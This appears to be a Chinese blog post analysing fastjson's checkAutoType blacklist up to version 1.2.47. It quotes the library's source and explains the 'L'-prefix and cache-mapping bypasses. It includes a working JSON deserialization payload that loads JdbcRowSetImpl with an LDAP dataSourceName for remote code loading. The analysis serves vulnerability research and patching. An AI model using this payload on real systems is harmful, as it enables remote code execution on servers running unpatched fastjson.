fastjson的漏洞修补及其绕过--至1.2.47

阿里的主要防护手段就是使用checkAutoType进行@type字段的检查

看一下 1.2.41版本checkAutoType的代码

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        }

        if (typeName.length() >= 128) {//检查长度
            throw new JSONException("autoType is not support. " + typeName);
        }

        final String className = typeName.replace('$', '.');//替换type中的$符
        Class<?> clazz = null;

        if (autoTypeSupport || expectClass != null) {//开启autoTypeSupport时,白名单过滤,如果符合条件直接loadclass
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
            }

            for (int i = 0; i < denyList.length; ++i) {//开启autoTypeSupport时,黑名单过滤
                String deny = denyList[i];
                if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        if (clazz == null) {//尝试获取clazz
            clazz = TypeUtils.getClassFromMapping(typeName);
        }

        if (clazz == null) {//尝试获取clazz
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {//如果前两种方式成功获取,且expectclass非空,则比较其是否在expectclass中,如果不在则异常
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

        if (!autoTypeSupport) {//未开启autoTypeSupport
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }
	//到这里如果还没获取class
        if (clazz == null) {//尝试用默认类加载器去加载class
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        if (clazz != null) {//返回该元素的指定类型的注释
            if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
                return clazz;
            }
//class1.isAssignableFrom(class2) 判定此 Class 对象所表示的类或接口与指定的 Class 参数所表示的类或接口是否相同,或是否是其超类或超接口。如果是则返回 true;否则返回 false。如果该 Class 表示一个基本类型,且指定的 Class 参数正是该 Class 对象,则该方法返回 true;否则返回 false。 
            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger ,此处classloader为defaultclassloader=null
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);//生成JavaBean相关信息
            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }

        final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport
                || (features & mask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        return clazz;
    }

从代码中可以看出几个检测点和生成class对象的位置

首先是autoTypeSupport,白名单黑名单的检查,随后就是 TypeUtils.getClassFromMapping()和deserializers.findClass()方法去获取class对象,如果还没获取class,就调用默认类加载器进行loadclass。

1.2.41的bypass中,主要是利用Lcom.xxx在loadclass时能够转换成com.xxx来实现黑名单的绕过与class的生成。

1.2.47中,为了bypass,使用poc如下

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}

调试可以发现java.lang.Class不在黑名单中,其class是由deserializers.findClass()方法生成的。注意到第一个序列化字符串还带有变量com.sun.rowset.JdbcRowSetImpl。

这里再来看另一个方法TypeUtils.getClassFromMapping(),这个方法用于从缓存的MAPPING中获取class对象。

在第一个序列化字符串完成解析时,com.sun.rowset.JdbcRowSetImpl已经作为变量存入缓存。再来看一下黑名单检测代码

 if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);

这时在第二个序列化字符串解析时,TypeUtils.getClassFromMapping(typeName) == null条件已经不成立,因此可以绕过黑名单。然后便由TypeUtils.getClassFromMapping(typeName);方法生成class对象。

为什么会发生这样的情况呢?在调试时发现,在完成第一个序列化字符串的反序列化时,过程中会返回com.sun.rowset.JdbcRowSetImpl字符串。而在deserialze方法中有如下代码,当被反序列化的对象为class类时,就会加载val变量中的类

  if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

而在加载类的过程中,会验证是否缓存,如果要缓存,则会调用mappings.put方法将className添加到Mappings中。

image

因此在对后续的com.sun.rowset.JdbcRowSetImpl进行反序列化时,才会在mappings.get()时返回true。至此绕过完成。

这次之后,修复的方法将cache的默认值改为了false

posted @ 2021-10-21 20:33  xyylll  阅读(820)  评论(0编辑  收藏  举报